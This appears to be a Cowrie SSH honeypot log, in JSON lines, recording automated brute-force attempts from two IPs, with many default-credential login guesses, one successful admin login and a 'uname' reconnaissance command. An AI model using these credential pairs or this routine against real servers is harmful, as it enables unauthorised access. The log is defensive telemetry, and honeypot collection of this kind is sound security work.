{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:22.654274Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:22.791909Z","src_ip":"91.92.42.133","session":"f814fec68df0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:23.085796Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:23.362231Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:23.365807Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:23.506572Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:23.511250Z","src_ip":"91.92.40.171","session":"d86e7d22d24d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42128,"dst_ip":"159.203.135.109","dst_port":22,"session":"875802fb51ee","protocol":"ssh","message":"New connection: 91.92.42.133:42128 (159.203.135.109:22) [session: 875802fb51ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:28.042477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:28.376663Z","src_ip":"91.92.42.133","session":"875802fb51ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:28.380018Z","src_ip":"91.92.42.133","session":"875802fb51ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51668,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2ad7930dc8f","protocol":"ssh","message":"New connection: 91.92.40.171:51668 (159.203.135.109:22) [session: d2ad7930dc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:28.674659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:28.807815Z","src_ip":"91.92.40.171","session":"d2ad7930dc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:28.810886Z","src_ip":"91.92.40.171","session":"d2ad7930dc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:29.703909Z","src_ip":"91.92.42.133","session":"875802fb51ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:29.754646Z","src_ip":"91.92.40.171","session":"d2ad7930dc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:30.901693Z","src_ip":"91.92.40.171","session":"d2ad7930dc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:31.081872Z","src_ip":"91.92.42.133","session":"875802fb51ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54984,"dst_ip":"159.203.135.109","dst_port":22,"session":"779fab83c843","protocol":"ssh","message":"New connection: 91.92.40.171:54984 (159.203.135.109:22) [session: 779fab83c843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:34.837982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:34.851493Z","src_ip":"91.92.40.171","session":"779fab83c843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:34.993365Z","src_ip":"91.92.40.171","session":"779fab83c843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:35.522174Z","src_ip":"91.92.40.171","session":"779fab83c843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41580,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2accc7fb4b8","protocol":"ssh","message":"New connection: 91.92.42.133:41580 (159.203.135.109:22) [session: f2accc7fb4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:36.613050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:36.620386Z","src_ip":"91.92.42.133","session":"f2accc7fb4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:36.639488Z","src_ip":"91.92.40.171","session":"779fab83c843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:36.727367Z","src_ip":"91.92.42.133","session":"f2accc7fb4b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:37.133415Z","src_ip":"91.92.42.133","session":"f2accc7fb4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:38.517242Z","src_ip":"91.92.42.133","session":"f2accc7fb4b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55064,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c1091184408","protocol":"ssh","message":"New connection: 91.92.40.171:55064 (159.203.135.109:22) [session: 6c1091184408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:43.009390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:43.113464Z","src_ip":"91.92.40.171","session":"6c1091184408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:44.006123Z","src_ip":"91.92.40.171","session":"6c1091184408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38950,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab16a95ba158","protocol":"ssh","message":"New connection: 91.92.42.133:38950 (159.203.135.109:22) [session: ab16a95ba158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:44.767783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:44.783514Z","src_ip":"91.92.42.133","session":"ab16a95ba158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:44.859144Z","src_ip":"91.92.42.133","session":"ab16a95ba158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123","message":"login attempt [master/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:45.317902Z","src_ip":"91.92.42.133","session":"ab16a95ba158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:46.431035Z","src_ip":"91.92.42.133","session":"ab16a95ba158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36586,"dst_ip":"159.203.135.109","dst_port":22,"session":"4144ac160483","protocol":"ssh","message":"New connection: 91.92.40.171:36586 (159.203.135.109:22) [session: 4144ac160483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:47.100573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:47.180955Z","src_ip":"91.92.40.171","session":"4144ac160483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:47.259667Z","src_ip":"91.92.40.171","session":"4144ac160483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"toor","message":"login attempt [nginx/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:47.979084Z","src_ip":"91.92.40.171","session":"4144ac160483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernard","password":"bernard","message":"login attempt [bernard/bernard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:48.335727Z","src_ip":"91.92.40.171","session":"6c1091184408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:49.096264Z","src_ip":"91.92.40.171","session":"4144ac160483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:50.412732Z","src_ip":"91.92.40.171","session":"6c1091184408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38996,"dst_ip":"159.203.135.109","dst_port":22,"session":"94dd7b1e4f61","protocol":"ssh","message":"New connection: 91.92.42.133:38996 (159.203.135.109:22) [session: 94dd7b1e4f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:52.727611Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36624,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c139ae9883","protocol":"ssh","message":"New connection: 91.92.40.171:36624 (159.203.135.109:22) [session: 54c139ae9883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:22:52.893514Z"}
